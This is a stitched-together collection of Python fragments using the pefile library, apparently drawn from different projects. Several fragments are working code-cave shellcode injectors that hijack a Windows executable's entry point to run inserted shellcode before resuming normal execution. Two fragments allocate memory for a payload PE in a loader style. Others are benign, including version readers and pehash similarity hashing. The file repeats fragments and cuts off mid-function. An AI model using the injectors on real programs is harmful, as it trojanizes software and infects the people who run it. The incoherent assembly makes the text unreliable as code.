def fileversion(pename): pe = PE(pename) verinfo = pe.VS_FIXEDFILEINFO[0] filever = (verinfo.FileVersionMS >> 16, verinfo.FileVersionMS & 0xFFFF, verinfo.FileVersionLS >> 16, verinfo.FileVersionLS & 0xFFFF) pe.close() return "%d.%d.%d.%d" % filever
def injectPE(filename, shellcode, output_file): pe = PE(filename) original_entry_point = pe.OPTIONAL_HEADER.AddressOfEntryPoint (end_offset, end_offset_aligned, padding, permissions) = getEPDetails(pe) # check permissions print '[*] Permissions for entry point\'s section :', permissions.items() if permissions['exec'] == False: print '[!] Entry point is not executable! Wtf? Exiting!' exit(1) # check for enough padding to fit the payload print '[*] Found %d bytes of padding' % padding sc_size = len(shellcode) + 7 # +1 pusha, +1 popa, +5 rel32 jmp if padding < sc_size: print '[!] Not enough padding to insert shellcode :(' exit(1) else: print ' [+] There is enough room for the shellcode!' print ' [+] start_va = 0x%08x, end_va = 0x%08x' % ( pe.OPTIONAL_HEADER.ImageBase + pe.get_rva_from_offset(end_offset), pe.OPTIONAL_HEADER.ImageBase + pe.get_rva_from_offset(end_offset_aligned)) print ' [+] start_offset = 0x%x, end_offset = 0x%x' % ( end_offset, end_offset_aligned) # use the right-most bytes available sc_end_offset = end_offset_aligned sc_start_offset = sc_end_offset - sc_size print '[*] Placing the payload at :' print ' [+] start_va = 0x%08x, end_va = 0x%08x' % ( pe.OPTIONAL_HEADER.ImageBase + pe.get_rva_from_offset(sc_start_offset), pe.OPTIONAL_HEADER.ImageBase + pe.get_rva_from_offset(sc_end_offset)) print ' [+] start_offset = 0x%x, end_offset = 0x%x' % (sc_start_offset, sc_end_offset) # change the entry point changeEntryPoint(pe, pe.get_rva_from_offset(sc_start_offset)) raw_data = pe.write() jmp_distance = original_entry_point - pe.get_rva_from_offset(sc_end_offset) # fix the shellcode to save register contents and jmp to original entry after completion shellcode = fixShellcode(shellcode, jmp_distance) raw_data = insertShellcode(raw_data, sc_start_offset, shellcode) # write the new file pe.close() # close the 'opened' PE first new_file = open(output_file, 'wb') new_file.write(raw_data) new_file.close() print '[*] New file created :)'
def main(exe_file, shellcode): if not (os.path.isfile(exe_file)): print( "\nExecutable file cant detected ! \n Please try with full path.\n" ) return False shellcode = shellcode.replace("\\x", "").decode("hex") pe = PE(exe_file) OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint pe_sections = pe.get_section_by_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint) align = pe.OPTIONAL_HEADER.SectionAlignment what_left = (pe_sections.VirtualAddress + pe_sections.Misc_VirtualSize ) - pe.OPTIONAL_HEADER.AddressOfEntryPoint end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left padd = align - (end_rva % align) e_offset = pe.get_offset_from_rva(end_rva + padd) - 1 scode_size = len(shellcode) + 7 if padd < scode_size: print("\nEnough space is not available for shellcode") print("Available codecave len : {0} \n").format(covecavelenght(pe)) return False else: scode_end_off = e_offset scode_start_off = scode_end_off - scode_size pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset( scode_start_off) raw_pe_data = pe.write() jmp_to = OEP - pe.get_rva_from_offset(scode_end_off) shellcode = '\x60%s\x61\xe9%s' % (shellcode, pack('I', jmp_to & 0xffffffff)) final_data = list(raw_pe_data) final_data[scode_start_off:scode_start_off + len(shellcode)] = shellcode final_data = ''.join(final_data) raw_pe_data = final_data pe.close() while True: final_pe_file = "{0}".format(str(randint(0, 999999999))) if not os.path.isfile(final_pe_file): break new_file = open(final_pe_file, 'wb') new_file.write(raw_pe_data) new_file.close() print("\nNew file : {0} saved !").format(final_pe_file) print('[*] Job Done! :)')
def inject(): class NotEnoughSize(Exception): pass exe_file = res.BINARY final_pe_file = '{}_injected'.format(res.BINARY) shellcode = scode pe = PE(exe_file) OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint pe_sections = pe.get_section_by_rva( pe.OPTIONAL_HEADER.AddressOfEntryPoint) align = pe.OPTIONAL_HEADER.SectionAlignment what_left = (pe_sections.VirtualAddress + pe_sections.Misc_VirtualSize ) - pe.OPTIONAL_HEADER.AddressOfEntryPoint end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left padd = align - (end_rva % align) e_offset = pe.get_offset_from_rva(end_rva + padd) - 1 scode_size = len(shellcode) + 7 if padd < scode_size: summary.append( logs.err('Not enough size for shellcode injection', prnt=False)) else: #logs.good('Found {} bytes of empty space'.format(padd)) scode_end_off = e_offset scode_start_off = scode_end_off - scode_size pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset( scode_start_off) raw_pe_data = pe.write() jmp_to = OEP - pe.get_rva_from_offset(scode_end_off) pusha = '\x60' popa = '\x61' shellcode = '%s%s%s\xe9%s' % (pusha, shellcode, popa, pack('I', jmp_to & 0xffffffff)) final_data = list(raw_pe_data) final_data[scode_start_off:scode_start_off + len(shellcode)] = shellcode final_data = ''.join(final_data) raw_pe_data = final_data pe.close() new_file = open(final_pe_file, 'wb') new_file.write(raw_pe_data) new_file.close() summary.append( logs.good('Succesfully injected shellcode', prnt=False))
def injectPE(filename, shellcode, output_file): pe = PE(filename) original_entry_point = pe.OPTIONAL_HEADER.AddressOfEntryPoint (end_offset, end_offset_aligned, padding, permissions) = getEPDetails(pe) # check permissions print '[*] Permissions for entry point\'s section :', permissions.items() if permissions['exec'] == False: print '[!] Entry point is not executable! Wtf? Exiting!' exit(1) # check for enough padding to fit the payload print '[*] Found %d bytes of padding' % padding sc_size = len(shellcode)+7 # +1 pusha, +1 popa, +5 rel32 jmp if padding < sc_size: print '[!] Not enough padding to insert shellcode :(' exit(1) else: print ' [+] There is enough room for the shellcode!' print ' [+] start_va = 0x%08x, end_va = 0x%08x' % (pe.OPTIONAL_HEADER.ImageBase+pe.get_rva_from_offset(end_offset), pe.OPTIONAL_HEADER.ImageBase+pe.get_rva_from_offset(end_offset_aligned)) print ' [+] start_offset = 0x%x, end_offset = 0x%x' % (end_offset, end_offset_aligned) # use the right-most bytes available sc_end_offset = end_offset_aligned sc_start_offset = sc_end_offset - sc_size print '[*] Placing the payload at :' print ' [+] start_va = 0x%08x, end_va = 0x%08x' % (pe.OPTIONAL_HEADER.ImageBase+pe.get_rva_from_offset(sc_start_offset), pe.OPTIONAL_HEADER.ImageBase+pe.get_rva_from_offset(sc_end_offset)) print ' [+] start_offset = 0x%x, end_offset = 0x%x' % (sc_start_offset, sc_end_offset) # change the entry point changeEntryPoint(pe, pe.get_rva_from_offset(sc_start_offset)) raw_data = pe.write() jmp_distance = original_entry_point - pe.get_rva_from_offset(sc_end_offset) # fix the shellcode to save register contents and jmp to original entry after completion shellcode = fixShellcode(shellcode, jmp_distance) raw_data = insertShellcode(raw_data, sc_start_offset, shellcode) # write the new file pe.close() # close the 'opened' PE first new_file = open(output_file, 'wb') new_file.write(raw_data) new_file.close() print '[*] New file created :)'
def main( exe_file, shellcode): if not (os.path.isfile( exe_file)): print("\nExecutable file cant detected ! \n Please try with full path.\n") return False shellcode = shellcode.replace("\\x", "").decode("hex") pe = PE(exe_file) OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint pe_sections = pe.get_section_by_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint) align = pe.OPTIONAL_HEADER.SectionAlignment what_left = (pe_sections.VirtualAddress + pe_sections.Misc_VirtualSize) - pe.OPTIONAL_HEADER.AddressOfEntryPoint end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left padd = align - (end_rva % align) e_offset = pe.get_offset_from_rva(end_rva+padd) - 1 scode_size = len(shellcode)+7 if padd < scode_size: print("\nEnough space is not available for shellcode") print("Available codecave len : {0} \n").format( covecavelenght( pe)) return False else: scode_end_off = e_offset scode_start_off = scode_end_off - scode_size pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset(scode_start_off) raw_pe_data = pe.write() jmp_to = OEP - pe.get_rva_from_offset(scode_end_off) shellcode = '\x60%s\x61\xe9%s' % (shellcode, pack('I', jmp_to & 0xffffffff)) final_data = list(raw_pe_data) final_data[scode_start_off:scode_start_off+len(shellcode)] = shellcode final_data = ''.join(final_data) raw_pe_data = final_data pe.close() while True: final_pe_file = "{0}".format(str(randint(0, 999999999))) if not os.path.isfile(final_pe_file): break new_file = open(final_pe_file, 'wb') new_file.write(raw_pe_data) new_file.close() print ("\nNew file : {0} saved !").format( final_pe_file) print ('[*] Job Done! :)')
def read(self): try: pe = PE(self.name, fast_load=True) except: print('File %s invalid' % self.name) return False if not pe.is_exe(): print('This file is not exe') pe.close() return False section = None for s in pe.sections: if s.Name == '.enigma1': section = s break if section is None: print('This file is not Enigma Virtual Box container') pe.close() return False self.data = pe.get_data(section.VirtualAddress, section.SizeOfRawData) pe.close() return True
def checkIfUpdateIsNeed(self,currentVersion): self.exepath = os.path.join(self.path, self.conf["process"]["image_name"]) if currentVersion=="" and not self.conf["version"]["use_exe_version"]: self.install=True elif self.conf["version"]["use_exe_version"] and not os.path.exists(self.exepath): self.install=True else: self.install=False #self.install=currentVersion=="" and not self.conf["version"]["use_exe_version"] and not os.path.exists(self.exepath) if self.simple: self.getDlUrl() self.version = self.api.getVersion(self.conf["version"]["regex"],self.conf["version"]["from_page"],self.conf["version"]["index"]) elif self.conf["basic"]["api_type"]=="sourceforge": self.getDlUrl() self.version = self.api.getVersion() else: self.version = self.api.getVersion(self.conf["build"]["no_pull"]) self.conf.var_replace("%VER",self.version) if self.install: return True elif self.conf["version"]["use_exe_version"]: version = re.sub('[^0-9\.\-]', '', self.version) version = version.replace(r"-", r".") version = version.split(r".") self.versiontuple = [] for num in version: try: self.versiontuple.append(int(num)) except ValueError: self.versiontuple.append(0) pe = PE(self.exepath) if not 'VS_FIXEDFILEINFO' in pe.__dict__: #raise NameError("ERROR: Oops, %s has no version info. Can't continue."%self.exepath) self.addversioninfo = True pe.close() return True if not pe.VS_FIXEDFILEINFO: #raise NameError("ERROR: VS_FIXEDFILEINFO field not set for %s. Can't continue."%self.exepath) pe.close() return True verinfo = pe.VS_FIXEDFILEINFO[0] filever = (verinfo.FileVersionMS >> 16, verinfo.FileVersionMS & 0xFFFF, verinfo.FileVersionLS >> 16, verinfo.FileVersionLS & 0xFFFF) prodver = (verinfo.ProductVersionMS >> 16, verinfo.ProductVersionMS & 0xFFFF, verinfo.ProductVersionLS >> 16, verinfo.ProductVersionLS & 0xFFFF) pe.close() return not (self.version_compare(self.versiontuple,filever) or self.version_compare(self.versiontuple,prodver)) elif self.conf["version"]["use_cmd_version"]: try: pass except IndexError: pass else: return not self.version == currentVersion
def pehashng(pe_file): """ Return pehashng for PE file, sha256 of PE structural properties. :param pe_file: file name or instance of pefile.PE() class :return: SHA256 in hexdigest format, None in case of pefile.PE() error :rtype: str """ if isinstance(pe_file, PE): exe = pe_file else: try: exe = PE(pe_file, fast_load=True) except PEFormatError as exc: logging.error("Exception in pefile.PE('%s') - %s", pe_file, exc) return def align_down_p2(number): return 1 << (number.bit_length() - 1) if number else 0 def align_up(number, boundary_p2): assert not boundary_p2 & (boundary_p2 - 1), "Boundary '%d' is not a power of 2" % boundary_p2 boundary_p2 -= 1 return (number + boundary_p2) & ~boundary_p2 def get_dirs_status(): dirs_status = 0 for idx in range(min(exe.OPTIONAL_HEADER.NumberOfRvaAndSizes, 16)): if exe.OPTIONAL_HEADER.DATA_DIRECTORY[idx].VirtualAddress: dirs_status |= 1 << idx return dirs_status def get_complexity(): complexity = 0 if section.SizeOfRawData: complexity = len(compress(section.get_data())) * 7.0 / section.SizeOfRawData complexity = 8 if complexity > 7 else int(round(complexity)) return complexity characteristics_mask = 0b0111111100100011 data_directory_mask = 0b0111111001111111 data = [ pack("> H", exe.FILE_HEADER.Characteristics & characteristics_mask), pack("> H", exe.OPTIONAL_HEADER.Subsystem), pack("> I", align_down_p2(exe.OPTIONAL_HEADER.SectionAlignment)), pack("> I", align_down_p2(exe.OPTIONAL_HEADER.FileAlignment)), pack("> Q", align_up(exe.OPTIONAL_HEADER.SizeOfStackCommit, 4096)), pack("> Q", align_up(exe.OPTIONAL_HEADER.SizeOfHeapCommit, 4096)), pack("> H", get_dirs_status() & data_directory_mask), ] for section in exe.sections: data += [ pack("> I", align_up(section.VirtualAddress, 512)), pack("> I", align_up(section.SizeOfRawData, 512)), pack("> B", section.Characteristics >> 24), pack("> B", get_complexity()), ] if not isinstance(pe_file, PE): exe.close() data_sha256 = sha256(b"".join(data)).hexdigest() return data_sha256
payload_size = len(payload_data) print "\t[+]Payload size: " + str(payload_size) print print "[" + str( stepcount) + "]Extracting the necessary info from the payload data." stepcount += 1 payload = PE(data=payload_data) payload_ImageBase = payload.OPTIONAL_HEADER.ImageBase payload_SizeOfImage = payload.OPTIONAL_HEADER.SizeOfImage payload_SizeOfHeaders = payload.OPTIONAL_HEADER.SizeOfHeaders payload_sections = payload.sections payload_NumberOfSections = payload.FILE_HEADER.NumberOfSections payload_AddressOfEntryPoint = payload.OPTIONAL_HEADER.AddressOfEntryPoint payload.close() MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 PAGE_READWRITE = 0x4 payload_data_pointer = windll.kernel32.VirtualAlloc(None, c_int(payload_size + 1), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE) memmove(payload_data_pointer, payload_data, payload_size) print "\t[+]Data from the PE Header: " print "\t[+]Image Base Address: " + str(hex(payload_ImageBase)) print "\t[+]Address of EntryPoint: " + str(hex(payload_AddressOfEntryPoint))
exe_file = raw_input("Enter Path To Exe File ") final_pe_file = raw_input("Enter Path To New Exe File: ") pe = PE(exe_file) OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint pe_sections = pe.get_section_by_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint) align = pe.OPTIONAL_HEADER.SectionAlignment what_left = (pe_sections.VirtualAddress + pe_sections.Misc_VirtualSize) - pe.OPTIONAL_HEADER.AddressOfEntryPoint end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left padd = align - (end_rva % align) e_offset = pe.get_offset_from_rva(end_rva + padd) - 1 scode_size = len(sample_shell_code) + 7 if padd < scode_size: # Enough space is not available for shellcode exit() # Code can be injected scode_end_off = e_offset scode_start_off = scode_end_off - scode_size pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset(scode_start_off) raw_pe_data = pe.write() jmp_to = OEP - pe.get_rva_from_offset(scode_end_off) sample_shell_code = "\x60%s\x61\xe9%s" % (sample_shell_code, pack("I", jmp_to & 0xFFFFFFFF)) final_data = list(raw_pe_data) final_data[scode_start_off : scode_start_off + len(sample_shell_code)] = sample_shell_code final_data = "".join(final_data) raw_pe_data = final_data pe.close() new_file = open(final_pe_file, "wb") new_file.write(raw_pe_data) new_file.close() print "New File : " + final_pe_file
exe_file = raw_input('[*] Enter full path of the main executable :') final_pe_file = raw_input('[*] Enter full path of the output executable :') pe = PE(exe_file) OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint pe_sections = pe.get_section_by_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint) align = pe.OPTIONAL_HEADER.SectionAlignment what_left = (pe_sections.VirtualAddress + pe_sections.Misc_VirtualSize) - pe.OPTIONAL_HEADER.AddressOfEntryPoint end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left padd = align - (end_rva % align) e_offset = pe.get_offset_from_rva(end_rva+padd) - 1 scode_size = len(sample_shell_code)+7 if padd < scode_size: # Enough space is not available for shellcode exit() # Code can be injected scode_end_off = e_offset scode_start_off = scode_end_off - scode_size pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset(scode_start_off) raw_pe_data = pe.write() jmp_to = OEP - pe.get_rva_from_offset(scode_end_off) sample_shell_code = '\x60%s\x61\xe9%s' % (sample_shell_code, pack('I', jmp_to & 0xffffffff)) final_data = list(raw_pe_data) final_data[scode_start_off:scode_start_off+len(sample_shell_code)] = sample_shell_code final_data = ''.join(final_data) raw_pe_data = final_data pe.close() new_file = open(final_pe_file, 'wb') new_file.write(raw_pe_data) new_file.close() print '[*] Job Done! :)'
def get_pehash(pe_file): """ Return pehash for PE file, sha1 of PE structural properties. :param pe_file: file name or instance of pefile.PE() class :rtype : string SHA1 in hexdigest format """ if isinstance(pe_file, PE): # minimize mem. usage and time of execution exe = pe_file else: exe = PE(pe_file, fast_load=True) # Image Characteristics img_chars = pack('uint:16', exe.FILE_HEADER.Characteristics) pehash_bin = img_chars[0:8] ^ img_chars[8:16] # Subsystem subsystem = pack('uint:16', exe.OPTIONAL_HEADER.Subsystem) pehash_bin.append(subsystem[0:8] ^ subsystem[8:16]) # Stack Commit Size, rounded up to a value divisible by 4096, # Windows page boundary, 8 lower bits must be discarded # in PE32+ is 8 bytes stack_commit = exe.OPTIONAL_HEADER.SizeOfStackCommit if stack_commit % 4096: stack_commit += 4096 - stack_commit % 4096 stack_commit = pack('uint:56', stack_commit >> 8) pehash_bin.append( stack_commit[:8] ^ stack_commit[8:16] ^ stack_commit[16:24] ^ stack_commit[24:32] ^ stack_commit[32:40] ^ stack_commit[40:48] ^ stack_commit[48:56]) # Heap Commit Size, rounded up to page boundary size, # 8 lower bits must be discarded # in PE32+ is 8 bytes heap_commit = exe.OPTIONAL_HEADER.SizeOfHeapCommit if heap_commit % 4096: heap_commit += 4096 - heap_commit % 4096 heap_commit = pack('uint:56', heap_commit >> 8) pehash_bin.append( heap_commit[:8] ^ heap_commit[8:16] ^ heap_commit[16:24] ^ heap_commit[24:32] ^ heap_commit[32:40] ^ heap_commit[40:48] ^ heap_commit[48:56]) # Section structural information for section in exe.sections: # Virtual Address, 9 lower bits must be discarded pehash_bin.append(pack('uint:24', section.VirtualAddress >> 9)) # Size Of Raw Data, 8 lower bits must be discarded pehash_bin.append(pack('uint:24', section.SizeOfRawData >> 8)) # Section Characteristics, 16 lower bits must be discarded sect_chars = pack('uint:16', section.Characteristics >> 16) pehash_bin.append(sect_chars[:8] ^ sect_chars[8:16]) # Kolmogorov Complexity, len(Bzip2(data))/len(data) # (0..1} ∈ R -> [0..7] ⊂ N kolmogorov = 0 if section.SizeOfRawData: kolmogorov = int(round( len(compress(section.get_data())) * 7.0 / section.SizeOfRawData)) if kolmogorov > 7: kolmogorov = 7 pehash_bin.append(pack('uint:8', kolmogorov)) assert 0 == pehash_bin.len % 8 if not isinstance(pe_file, PE): exe.close() return sha1(pehash_bin.tobytes()).hexdigest()
File.close() payload_size = len(payload_data) print "\t[+]Payload size: " + str(payload_size) print print "[" + str(stepcount) + "]Extracting the necessary info from the payload data." stepcount += 1 payload = PE(data=payload_data) payload_ImageBase = payload.OPTIONAL_HEADER.ImageBase payload_SizeOfImage = payload.OPTIONAL_HEADER.SizeOfImage payload_SizeOfHeaders = payload.OPTIONAL_HEADER.SizeOfHeaders payload_sections = payload.sections payload_NumberOfSections = payload.FILE_HEADER.NumberOfSections payload_AddressOfEntryPoint = payload.OPTIONAL_HEADER.AddressOfEntryPoint payload.close() MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 PAGE_READWRITE = 0x4 payload_data_pointer = windll.kernel32.VirtualAlloc( None, c_int(payload_size + 1), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE ) memmove(payload_data_pointer, payload_data, payload_size) print "\t[+]Data from the PE Header: " print "\t[+]Image Base Address: " + str(hex(payload_ImageBase)) print "\t[+]Address of EntryPoint: " + str(hex(payload_AddressOfEntryPoint))